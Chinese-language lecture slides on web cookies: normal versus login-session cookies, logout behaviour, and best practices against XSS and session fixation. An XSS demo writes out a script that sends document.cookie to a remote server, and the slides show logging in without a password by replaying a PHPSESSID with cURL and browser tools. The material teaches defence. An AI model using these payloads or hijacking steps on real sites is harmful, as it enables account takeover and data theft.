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Why Cookie?
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協定 Telnet/SSH HTTP

TCP Session One TCP Session Many TCP Sessions

State Stateful Stateless

Cookie 不需要 需要



Telnet

Only One TCP Session

 Demo

 telnet 140.112.218.254
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明碼傳輸



SSH

Only One TCP Session
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HTTP (www.ntu.edu.tw)

Many TCP Sessions
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Cookie 種類

 Normal Cookie: 記錄使用者相關資訊
 Save @Browser Only

 資安強度要求: 低
 不需設定: HttpOnly, Secure, SameSite

 案例
 限制每天瀏覽文章數
 介面顯示語言
 購物車(未登入時)

 記住登入帳號
 Google Analytics統計網頁瀏覽記錄
 商業廣告、用戶追蹤

 LoginSession Cookie: 帳號登入、權限控管
 Save @Browser + Web Server

 資安強度要求: 高
 建議設定: HttpOnly, Secure, SameSite
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Cookie Check
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Browser

 Chrome:  F12: Application > Storage > Cookies

 Firefox: F12: Storage > Cookies
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Website Cookie Check

 https://www.cookieyes.com/cookie-checker/
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Website Cookie Check
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Normal Cookie
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Normal Cookie

介面顯示語言
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苗栗舊山線鐵道自行車
介面顯示語言

 https://www.oml-railbike.com

 F12: Application > Cookies

lang= tw, en, jp, kr
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24Hr 有效



Normal Cookie

購物車(未登入時)
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台大智匯網
購物車

 https://online.ntuspecs.ntu.edu.tw/

 F12: Application > Cookies
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一年有效



Normal Cookie

記住登入帳號
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MOMO 購物網
記住我的帳號

 https://www.momoshop.com.tw/

 使用 Cookie 記錄”登入帳號”

 ck_mlu=“MDkxODEwMzYyNg==“

 Base64 Decode

 https://www.base64decode.org/

 Result: 0918103626

 F12: Application > Cookies
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MOMO 購物網
記住我的帳號

 使用 Cookie 直接更改電話號碼

 電話號碼: 123456789

 Base64 Encode: MTIzNDU2Nzg5

 https://www.base64encode.org/
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Normal Cookie

Google Analytics

統計網頁瀏覽記錄
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Google Analytics

 https://www.edu.tw/

 由 Browser JavaScript 產生.(Not Server)

 預設 Not Checked

 HttpOnly, Secure, SameSite
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Google Analytics

 緊接在 <head> 元素之後
<!-- Google tag (gtag.js) -->

<script async src="https://www.googletagmanager.com/gtag/js?id=G-
KXYQJL9MDP"></script>

<script>

window.dataLayer = window.dataLayer || [];

function gtag(){dataLayer.push(arguments);}

gtag('js', new Date());

gtag('config', 'G-KXYQJL9MDP');

</script>
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Google Analytics

Cookie
 https://demo3.buda.idv.tw

 由 Browser JavaScript 產生.(Not Server)

 預設 Not Checked

 HttpOnly, Secure, SameSite
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LoginSesson Cookie
帳號登入、權限控管

Login Credentials
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大綱

 What is LoginSession Cookie?

 Find LoginSession Cookie & 免帳密登入
 帳密登入 Command Line Browser

 如何登出帳號?
 方法1. 刪除 Browser Cookie

 方法2. 關閉所有 Browser 視窗
 方法3: Click “登出”  (最佳)

 LoginSession + Extra Cookie
 Cluster/Load Balance架構
 WAF for CSRF

 LoginSession Cookie Best Practice

 結論
 Normal vs. LoginSession Cookie

 沒有 Cookie 的世界會怎樣?
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LoginSession Cookie

 For Login Credentials.

 One and Only One.

 Server 端僅驗證: Cookie 值
 其他 Cookie Attributes only for Browser to Control the cookie，
與驗證無關

 一個 Cookie 可允許多個裝置同時登入，Server 端無限
制(無法辨識)
 除非有額外加上限制條件，如: Client IP, User Agent …

 One LoginSession Cookie 可於 Server 端記錄多組 Key 
Pairs來辨識使用者身分
 User ID

 Client IP

 User Agent (Browser Version)

 ….
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How to Find LoginSession Cookie?

 Cookie Attributes

 Name:
 ASP.NET_SessionId, PHPSESSID, JSESSIONID, *SID, *SESSION_ID

 Attribute: 如下值有設定 Enable
 HttpOnly, Secure, Samesite

 Path: /

 When to Create

 Created by WebServer(Response Cookie), Not Browser(Request 
Cookie)

 如何產生 LoginSession Cookie 方法
 Method1. 登入畫面，輸入帳密後 Submit 送出
 Method2. 使用已登入 URL 連結

 https://my.ntu.edu.tw/assetManagement/consumables.aspx

 驗證方法
 使用 LoginSession Cookie免帳密登入
 刪除 or 更改 Cookie 值，Reload 頁面,看是否會被登出
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XSS Demo
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Demo

 http://demo3.buda.idv.tw/php/login/login.php

 Password: 54321

 http://demo3.buda.idv.tw/php/login/login_ok.php
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XSS Test

 Test1

<script>alert('hi')</script>

 Test2

<iframe />
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XSS Test

 Test3.  iframe YouTube
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偷取 Cookie Test

 Test1. 顯示於畫面
<script>alert(document.cookie)</script>

 Test2.傳送至遠端 Server

<script>

const img = new Image(100, 200);

img.src = 'https://demo.davis.cc.ntu.edu.tw?' + 
encodeURI(document.cookie);

document.body.appendChild(img);

</script>

 Check Result @demo.davis.cc.ntu.edu.tw

~# tail -f /var/log/apache2/access.log
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使用 Cookie 免帳密登入

 F12: 

 Add New Cookie:PHPSESSID

 New PC Open

 http://demo3.buda.idv.tw/php/login/login_ok.php
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XSS 緩解方法
Set httponly attr

 方法1:

 Ubuntu 22.04: /etc/php/8.1/apache2/php.ini

 Ubuntu 24.04: /etc/php/8.3/apache2/php.ini

 session.cookie_httponly = 1

 ~# systemctl restart apache2

 方法2: 直接修改 Browser Cookie
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httponly = 1httponly = 0



帳密登入
Command Line Browser
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帳密登入
Command Line Browser

 如何使用 Command Line Browser 程式，抓取需帳密登入
之頁面資料

 使用 Chrome 產生 cURL語法

 Chrome F12 Network

 iVideo: 登入
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for Windows

for Linux



帳密登入
Command Line Browser

 方法1. 使用 HTTP POST 提供帳密

 Step1. POST 帳密
 curl 'https://www.ivideo.com.tw/member/ajax.php' --data-raw 

'uid=YYY&pwd=ZZZ’

 Step2. 取得資料
 curl https://www.ivideo.com.tw/member/mdfy_member.php

 結果: 失敗…

 原因: 每次 Request 皆為獨立執行，不會共享 Cookies 

資訊
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使用 Chrome 產生 cURL 語法

 Chrome F12 Network

 iVideo: 會員中心 -> 租借記錄
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for Windows

for Linux



使用 Chrome 產生 cURL 語法
iVideo 租借記錄

curl 'https://www.ivideo.com.tw/member/show_rent_record.php' \

-H 'Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=
0.8,application/signed-exchange;v=b3;q=0.7' \

-H 'Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7' \

-H 'Cache-Control: max-age=0' \

-H 'Connection: keep-alive' \

-b 'PHPSESSID=ipkmcje3rktc4gjmpaofuevmrf' \

-H 'Referer: https://www.ivideo.com.tw/member/mdfy_member.php' \

-H 'Sec-Fetch-Dest: document' \

-H 'Sec-Fetch-Mode: navigate' \

-H 'Sec-Fetch-Site: same-origin' \

-H 'Sec-Fetch-User: ?1' \

-H 'Upgrade-Insecure-Requests: 1' \

-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 
Gecko) Chrome/137.0.0.0 Safari/537.36' \

-H 'sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"' \

-H 'sec-ch-ua-mobile: ?0' \

-H 'sec-ch-ua-platform: "Windows"'
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iVideo 租借記錄
cURL 簡化版

 iVideo: 會員中心 -> 租借記錄
 無 Cookie

~# curl https://www.ivideo.com.tw/member/show_rent_record.php

 有 Cookie

~# curl -b "PHPSESSID=xxyyzz" 

https://www.ivideo.com.tw/member/show_rent_record.php
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免帳密登入
Command Line Browser

 cURL

-b "cookie=xxyyzz“

把 cookie 資訊加到 http request

-c, --cookie-jar <filename>

write cookies to a file.

 sqlmap

--cookie=xxyyzz

 ELK Heartbeat 網頁測試
headers:

'Cookie': 'ASP.NET_SessionId=xxyyzz' 
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帳密登入
Command Line Browser

 方法2: 使用 LoginSession Cookie (正確作法)

 Step1. POST 帳密後將 Cookie 存起來
 curl 'https://www.ivideo.com.tw/member/ajax.php' --data-raw 

'uid=YYY&pwd=ZZZ' -c cookie.txt

 Step2. 提供 LoginSession Cookie 後取得資料
 curl https://www.ivideo.com.tw/member/mdfy_member.php -b 

cookie.txt
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如何登出帳號?

方法1. 刪除 Browser Cookie
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如何登出帳號
刪除 Browser Cookie

 iVideo

 https://www.ivideo.com.tw/

 刪除 Browser Cookie
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如何登出帳號
刪除 Browser Cookie

 myNTU帳號簽到退
https://my.ntu.edu.tw/mattend/ssi.aspx

 Find LoginSession Cookie: ASP.NET_SessionId

 刪除 Browser Cookie

 LoginSession Cookie 仍保留在 Server
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Session Cookie

Delete



如何登出帳號?

方法2. 關閉所有 Browser 視窗
有時可登出、有時卻不行?

Session Cookie vs. Persistent Cookie
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關閉所有 Browser 視窗
可否順利登出

可登出
(需重新登入)

 myNTU

 https://my.ntu.edu.tw/

 iVideo

 https://www.ivideo.com.tw/

 舊山線鐵道自行車
 https://www.oml-

railbike.com/_pages/general/logi
n.php

 行政院人事服務網
 https://ecpa.dgpa.gov.tw/

 各家網路銀行

無法登出
(不需重新登入)

 PChome 24H 

 https://24h.pchome.com.tw/

 ezfly

 https://www.ezfly.com/

 新光影城
 https://www.skcinemas.com/

 Happy Go

 https://www.happygocard.com.tw

 Google

 https://www.google.com/

 MOMO 購物網
 https://www.momoshop.com.tw/
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原因 : Expire Attribute of Cookie

 Session Cookie(Temporary)

 無 Expires日期， Browser 全部關閉就會消失.

 Persistent Cookie

 有 Expires 日期(預設GMT時區)，Browser 全部關閉或重
開機後仍會存在。
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Session Cookie

Persistent Cookie



Session Cookie 案例

 myNTU

 iVideo
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Session Cookie



ezTravel

兩者皆支援
 https://www.eztravel.com.tw/

 勾選:關閉所有 Browser 視窗後，不需重新登入

 未勾選: 關閉所有 Browser 視窗後，需重新登入
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Manual Change 

“Session Cookie” to “Persistent Cookie” ?

 iVideo
 https://www.ivideo.com.tw/

 成功 ^ ^

 Why ?
 LoginSession Cookie 真正 Timeout是由 WebServer控制
 Server 端僅驗證 Cookie 值，其他 Cookie Attributes Only 

For Browser 如何控管 Cookie，與驗證無關
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如何登出帳號
總結

 方法1: F12 手動刪除 Cookie

 LoginSession Cookie 仍保留在 WebServer

 方法2: 關閉”所有” Browser視窗

 僅對 Session Cookie 有效，Persistent Cookie無效

 LoginSession Cookie 仍保留在 WebServer

 方法3: Click “登出”  (最佳方法)

 LoginSession Cookie 同時在 Browser 及 WebServer端刪
除

 若有多個裝置使用此 Cookie，同時失效.
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The scope of a cookie

 一般視窗
 不同視窗共享 Cookies 資訊

 關閉全部視窗: 刪除 Session Cookies 

 無痕模式視窗
 不同視窗共享 Cookies資訊

 關閉全部視窗: 刪除 Session + Persistent 
Cookies

 Command Line Browser: cURL, sqlmap

 每個 Request 皆為獨立執行，不會共享
Cookies 資訊
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Persistent Cookie

對使用者之風險
 關閉”所有” Browser視窗並不會自動登出

 LoginSession Cookie在 WebServer存在時間長

 應避免於公用電腦使用

 使用公用電腦登入

 建議使用”無痕模式”

 使用完畢後務必要登出
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LoginSession Cookie

Best Practice
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LoginSession Cookie

Best Practice
 Cookie Name 應避免使用預設名稱或含有易於猜測之關鍵字

 ASP.NET_SessionId, PHPSESSID, JSESSIONID, *SID, *SESSION_ID

 應提供”登出”功能，並確實刪除 Browser and Server 端 Cookie
 Idle 一段時間後，應提供”自動登出”功能

 應避免尚未登入時，就產生 LoginSession Cookie
 可避免洩漏 Cookie Name

 可避免耗盡 Server 資源

 Cookie Value
 不應儲存 User ID 或具規則性識別碼
 不應接受使用者手動輸入值(Session Fixation/Adoption Vulnerability)

 Cookie Attributes應設定如下值
 HttpOnly= True, Secure= True, Samesite= Lax/Strict

 如下設定可能有 CSRF漏洞風險
 Samesite= NULL or None

 Samesite= Lax且使用 HTTP GET傳遞
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Cookie Name 應避免使用預設名稱
或含有易於猜測之關鍵字

 iVideo

 myNTU
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應避免尚未登入時，就產生
LoginSession Cookie

 iVideo

 https://www.ivideo.com.tw/

 myNTU

 https://my.ntu.edu.tw
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應避免尚未登入時，就產生
LoginSession Cookie

 教育部

 https://www.edu.tw
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無任何登入功能，為何產生 Loginsession Cookie ?



未登入就產生 LoginSession Cookie

範例程式

檢查使用者是否已經登入?

<?php

session_start();

if ($_SESSION['login']) {

echo "已經登入";

} else {

echo "尚未登入";

}

?>

 http://demo3.buda.idv.tw/ph
p/login/login_check_v1.php

何時產生 LoginSession Cookie？

 session_start();作用
1.檢查是否已有 LoginSession
Cookie

2.有: 使用現有

無:新產生一個

 if ($_SESSION[‘login’])作用
 檢查此 Cookie 是否有效
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http://demo3.buda.idv.tw/php/login/login_check_v1.php


未登入就產生 LoginSession Cookie

消耗系統資源
~# cd /var/lib/php/sessions/

 每個 LoginSession Cookie 對應一個檔案

 測試執行多次

~# curl 

http://demo3.buda.idv.tw/php/login/login_check_v1.php
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避免未登入就產生 LoginSession Cookie

範例程式

檢查使用者是否已經登入?
<?php

//Check "LoginSession Cookie" first.

If ($_COOKIE['PHPSESSID']){

session_start();

if ($_SESSION['login']) {

echo "已經登入";

exit();

}

}

echo "尚未登入";

?>

http://demo3.buda.idv.tw/php/login/logi
n_check_v2.php

修正邏輯

應先檢查是否已存在 LoginSession
Cookie

若 Cooke 已存在，才開始進行驗證程序
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Cookie Value

不應接受使用者手動輸入值

 Session Fixation/Adoption Vulnerability

 Permits an attacker to hijack a valid user 
session.

 When authenticating a user, it doesn’t assign a 
new session ID, and use an existent session ID.

 PHP範例
session_start();

1.檢查是否已有 LoginSession Cookie

2.有: 使用現有 → Session Fixation Vulnerability

無:新產生一個
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Session Fixation Vulnerability

 Demo Site

 https://demo3.buda.idv.tw/php/login/login.php

 PHPSESSID

 C35tmuilgptrrva44i6umg78ks (原始值)

 1111  (長度可不同)
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Session Fixation Vulnerability

 解決方法: use strict session mode.

 Does not accept an uninitialized session ID, and 
regenerates the session ID.

 Ubuntu 22.04: /etc/php/8.1/apache2/php.ini

 Ubuntu 24.04: /etc/php/8.3/apache2/php.ini

session.use_strict_mode=1   (default is 0)

~# systemctl restart apache2

 Ref.

 https://owasp.org/www-
community/attacks/Session_fixation

 https://wiki.php.net/rfc/strict_sessions
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結論
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沒有 Cookie 的世界會怎樣?

 關閉 Cookie

 隱私權和安全性 -> 網站設定 -> 其他內容設定:

網站在裝置端的資料

 chrome://settings/content/siteData
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沒有 Cookie 的世界會怎樣?

 LoginSession Cookie
 所有需帳密登入之網站皆無法登入

 Normal Cookie
 國家地理雜誌: 無限免費看

 https://www.natgeomedia.com/

 苗栗舊山線鐵道自行車: 無法切換語言
 https://www.oml-railbike.com/

 台大智匯網購物車: 無法加入購物車
 https://online.ntuspecs.ntu.edu.tw

 MOMO購物網: 無法顯示登入視窗
 https://www.momoshop.com.tw/

 24H PChome: 網頁無法顯示
 https://24h.pchome.com.tw/

68



Normal vs. LoginSession Cookie

Cookie Created by Stored @ 個數 Name(命名規則) Value

LoginSession

Cookie

Server Both One By WebServer

(SSID, SESSION_ID)

隱密
(值為亂數)

Normal 

Cookie

Server or 

Client

Client Only 1 or many By Client

(無規則)

非隱密
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Cookie Path Attr Expire  Date 用途

LoginSession

Cookie

/

(WebServer設定)

Expire Attr(Browser) or 

Session TimeOut(Server)

Login Credential

Normal 

Cookie

目前檔案所在目錄 Expire Attr(Browser) UI Friendly、User 

Preference …



簡報完畢
謝謝
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